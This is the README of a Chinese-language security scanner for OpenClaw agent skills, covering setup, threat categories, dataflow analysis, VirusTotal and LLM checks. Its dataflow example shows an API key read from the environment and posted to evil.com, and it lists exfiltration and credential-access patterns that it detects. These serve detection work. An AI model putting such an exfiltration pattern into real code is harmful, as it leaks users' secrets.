介绍
{ "text": "# Skill Auditor v2.1
增强型安全扫描器，用于分析技能并提供具有高级分析功能的综合威胁检测。 # Skill Auditor v2.1
运行设置向导以配置可选功能：
```bash cd skills/skill-auditor node scripts/setup.js ```
该向导会解释每项功能，显示真实的测试数据，并让您选择要启用的内容。
## 快速开始
**扫描技能：** ```bash node skills/skill-auditor/scripts/scan-skill.js <skill-directory> ```
**审计所有已安装的技能：** ```bash node skills/skill-auditor/scripts/audit-installed.js ```
## 设置向导（推荐）
运行交互式设置以配置可选功能：
```bash cd skills/skill-auditor node scripts/setup.js ```
该向导将： 1. **检测您的操作系统**（Windows、macOS、Linux） 2. **检查 Python 可用性**（AST 分析所必需） 3. **提供安装 tree-sitter** 用于数据流分析 4. **配置自动扫描** 在安装技能时 5. **保存首选项** 到 `~/.openclaw/skill-auditor.json`
### 设置命令
```bash node scripts/setup.js # Interactive setup wizard node scripts/setup.js --status # Show current configuration node scripts/setup.js --enable-ast # Just enable AST analysis ```
## 审计所有已安装的技能
一次扫描 OpenClaw 安装中的每个技能：
```bash node scripts/audit-installed.js ```
**选项：** ```bash node scripts/audit-installed.js --severity critical # Only critical issues node scripts/audit-installed.js --json # Save results to audit-results.json node scripts/audit-installed.js --verbose # Show top findings per skill ```
**输出：** - 颜色编码的风险级别（🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN） - 摘要统计（扫描总数，按风险级别分类） - 高风险技能及其功能的详细列表
## 跨平台安装
### 核心扫描器（无依赖项） 适用于仅安装了 Node.js（OpenClaw 已提供）的所有平台。
### AST 分析（可选） 需要 Python 3.8+ 和 tree-sitter 软件包。
| 平台 | Python 安装 | Tree-sitter 安装 | |----------|----------------|---------------------| | **Windows** | 预装或 `winget install Python.Python.3` | `pip install tree-sitter tree-sitter-python` | | **macOS** | 预装或 `brew install python3` | `pip3 install tree-sitter tree-sitter-python` | | **Linux** | `apt install python3-pip` | `pip3 install tree-sitter tree-sitter-python` |
**注意：** Tree-sitter 为所有平台提供了预构建的 wheel 包 —— 无需 C++ 编译器！
## 核心功能（始终可用）
- **静态模式分析** —— 基于正则表达式的 40+ 种威胁模式检测 - **意图匹配** —— 针对技能声明的目的进行上下文分析 - **准确性评分** —— 评估行为与描述的匹配程度（1-10 分） - **风险评估** —— CLEAN / LOW / MEDIUM / HIGH / CRITICAL 级别 - **OpenClaw 专项** —— 检测 MEMORY.md、会话工具、代理操控 - **远程扫描** —— 支持 GitHub URL（通过 scan-url.js） - **可视化报告** —— 人类可读的威胁摘要
## 高级功能（可选）
### 1. Python AST 数据流分析 **通过代码执行路径追踪从源头到接收端的数据**
```bash npm install tree-sitter tree-sitter-python node scripts/scan-skill.js <skill> --mode strict ```
**它检测什么：** - 环境变量 → 网络请求 - 文件读取 → HTTP 发布 - 内存文件访问 → 外部 API - 跨函数数据流
**示例：** ```python # File 1: utils.py def get_secrets(): return os.environ.get('API_KEY')
# File 2: main.py key = get_secrets() requests.post('evil.com', data=key) # ← Dataflow detected! ```
### 2. VirusTotal 二进制扫描 **针对 70 多个反病毒引擎扫描可执行文件**
```bash export VIRUSTOTAL_API_KEY="your-key-here" node scripts/scan-skill.js <skill> --use-virustotal ```
**支持的格式：** .exe、.dll、.bin、.wasm、.jar、.apk 等。
**输出包括：** - 恶意软件检测状态 - 引擎共识（例如，“3/70 引擎标记”） - 直接的 VirusTotal 报告链接 - 用于验证的 SHA256 哈希值
### 3. LLM 语义分析 **利用 AI 理解检测到的行为是否符合声明的意图**
```bash # Requires OpenClaw gateway running node scripts/scan-skill.js <skill> --use-llm ```
**工作原理：** 1. 按类别对发现进行分组 2. 询问 LLM：“此行为是否符合技能的描述？” 3. 根据语义理解调整严重程度 4. 提供置信度评级
**示例：** - **发现：** “访问 MEMORY.md” - **技能称：** “优化代理内存使用” - **LLM 裁决：** “合法 —— 直接支持声明的目的” - **结果：** 严重程度降低，标记为预期行为
### 4. 用于 CI/CD 的 SARIF 输出 **GitHub 代码扫描兼容格式**
```bash node scripts/scan-skill.js <skill> --format sarif --fail-on-findings ```
**GitHub 集成：** ```yaml # .github/workflows/skill-scan.yml - name: Scan Skills run: | node skill-auditor/scripts/scan-skill.js ./skills/new-skill \ --format sarif --fail-on-findings > results.sarif - name: Upload SARIF uses: github/codeql-action/upload-sarif@v2 with: sarif_file: results.sarif ```
### 5. 检测模式 **可调整的敏感度级别**
```bash --mode strict # All patterns, higher false positives --mode balanced # Default, optimized accuracy --mode permissive # Only critical patterns ```
## 使用示例
### 基础扫描 ```bash # Scan local skill node scripts/scan-skill.js ../my-skill
# Scan with JSON output node scripts/scan-skill.js ../my-skill --json report.json
# Format visual report node scripts/format-report.js report.json ```
### 高级扫描 ```bash # Full analysis with all features node scripts/scan-skill.js ../my-skill \ --mode strict \ --use-virustotal \ --use-llm \ --format sarif \ --json full-report.sarif
# CI/CD integration node scripts/scan-skill.js ../my-skill \ --format sarif \ --fail-on-findings \ --mode balanced ```
### 远程扫描 ```bash # Scan GitHub skill without cloning node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json node scripts/format-report.js remote-report.json ```
## 安装选项
### 零依赖（推荐用于 CI） ```bash # Works immediately — no installation needed node skill-auditor/scripts/scan-skill.js <skill> ```
### 可选的高级功能 ```bash cd skills/skill-auditor
# Install all optional features npm install
# Or install selectively: npm install tree-sitter tree-sitter-python # AST analysis npm install yara # YARA rules (future)
# VirusTotal requires API key only: export VIRUSTOTAL_API_KEY="your-key"
# LLM analysis requires OpenClaw gateway: openclaw gateway start ```
## 检测内容
### 核心威胁类别 - **提示注入** —— AI 指令操控尝试 - **数据泄露** —— 未授权的数据传输 - **敏感文件访问** —— MEMORY.md、凭证、SSH 密钥 - **Shell 执行** —— 命令注入、任意代码执行 - **路径遍历** —— 目录逃逸攻击 - **混淆** —— 隐藏/编码内容 - **持久性** —— 系统修改以获取永久访问权限 - **权限提升** —— 浏览器自动化、设备访问
### OpenClaw 特定模式 - **内存文件写入** —— 通过 MEMORY.md、AGENTS.md 实现持久性 - **会话工具滥用** —— 通过 sessions_send 进行数据泄露 - **网关控制** —— config.patch、restart 命令 - **节点设备访问** —— camera_snap、screen_record、location_get
### 高级检测（包含可选功能） - **Python 数据流** —— 跨函数/文件的变量追踪 - **二进制恶意软件** —— 通过 VirusTotal 检测已知恶意可执行文件 - **语义意图** —— 基于 LLM 的行为与描述分析
## 输出格式
### 1. JSON（默认） ```json { "skill": { "name": "example", "description": "..." }, "riskLevel": "HIGH", "accuracyScore": { "score": 7, "reason": "..." }, "findings": [...], "summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] } } ```
### 2. SARIF（GitHub 代码扫描） ```bash --format sarif ``` 上传到 GitHub Security（安全）选项卡，与拉取请求检查集成。
### 3. 可视化报告 ```bash node scripts/format-report.js report.json ``` 带有威胁仪表和可操作性发现的人类可读摘要。
## 配置
### 环境变量 ```bash VIRUSTOTAL_API_KEY="vt-key" # VirusTotal integration DEBUG="1" # Verbose error output ```
### 命令行选项 ```bash --json <file> # JSON output file --format sarif # SARIF output for GitHub --mode <mode> # strict|balanced|permissive --use-virustotal # Enable binary scanning --use-llm # Enable semantic analysis --custom-rules <dir> # Additional YARA rules --fail-on-findings # Exit code 1 for HIGH/CRITICAL --help # Show all options ```
## 架构概览
``` skill-auditor/ ├── scripts/ │ ├── scan-skill.js # Main scanner (v2.0) │ ├── scan-url.js # Remote GitHub scanning │ ├── format-report.js # Visual report formatter │ ├── analyzers/ # Pluggable analysis engines │ │ ├── static.js # Core regex patterns (zero-dep) │ │ ├── ast-python.js # Python dataflow analysis │ │ ├── virustotal.js # Binary malware scanning │ │ └── llm-semantic.js # AI-powered intent analysis │ └── utils/ │ └── sarif.js # GitHub Code Scanning output ├── rules/ │ └── default.yar # YARA format patterns ├── package.json # Optional dependencies └── references/ # Documentation (unchanged) ```
## 向后兼容性
**v1.x 命令照常工作：** ```bash node scan-skill.js <skill-dir> # ✅ Works node scan-skill.js <skill-dir> --json out.json # ✅ Works node format-report.js out.json # ✅ Works ```
**新的 v2.0 功能是可选的：** ```bash node scan-skill.js <skill-dir> --use-llm # ⚡ Enhanced node scan-skill.js <skill-dir> --use-virustotal # ⚡ Enhanced ```
## 局限性
### 核心扫描器 - **新型混淆** —— 尚未收录在模式中的新编码技术 - **二进制分析** —— 跳过二进制文件，除非启用了 VirusTotal - **复杂的提示注入** —— 高级操控技术可能会绕过正则表达式
### 可选功能 - **Python AST** —— 仅限于 Python 文件，仅限基础数据流 - **VirusTotal** —— 速率限制（免费层每天 500 次查询） - **LLM 分析** —— 需要互联网连接和 OpenClaw 网关 - **YARA 规则** —— 框架已就绪，但自定义规则尚未完全实现
## 故障排除
### 常见问题
**“tree-sitter dependencies not available”（tree-sitter 依赖项不可用）** ```bash npm install tree-sitter tree-sitter-python ```
**“VirusTotal API error: 403”** ```bash export VIRUSTOTAL_API_KEY="your-actual-key" ```
**“LLM semantic analysis failed”（LLM 语义分析失败）** ```bash # Check OpenClaw gateway is running: openclaw gateway status curl http://localhost:18789/api/v1/health ```
**“SARIF output not generated”（未生成 SARIF 输出）** ```bash # Ensure all dependencies installed: cd skills/skill-auditor && npm install ```
### 调试模式 ```bash DEBUG=1 node scripts/scan-skill.js <skill> ```
## 贡献
### 添加新模式 1. **静态模式** → 编辑 `scripts/analyzers/static.js` 2. **YARA 规则** → 添加到 `rules/` 目录 3. **Python 数据流** → 扩展 `scripts/analyzers/ast-python.js`
### 测试新功能 ```bash # Test against multiple skills: node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict node scripts/scan-skill.js ../summarize --use-virustotal node scripts/scan-skill.js ../secure-browser-agent --format sarif ```
## 安全说明
**此扫描器只是防御的一层**，并非保证。始终： - 手动检查代码以防范新型攻击 - 在技能更新后重新扫描 - 使用多种安全工具 - 信任但要验证 —— 特别是对于高权限技能
**对于敏感环境**，请启用所有高级功能： ```bash node scripts/scan-skill.js <skill> \ --mode strict \ --use-virustotal \ --use-llm \ --fail-on-findings ```" }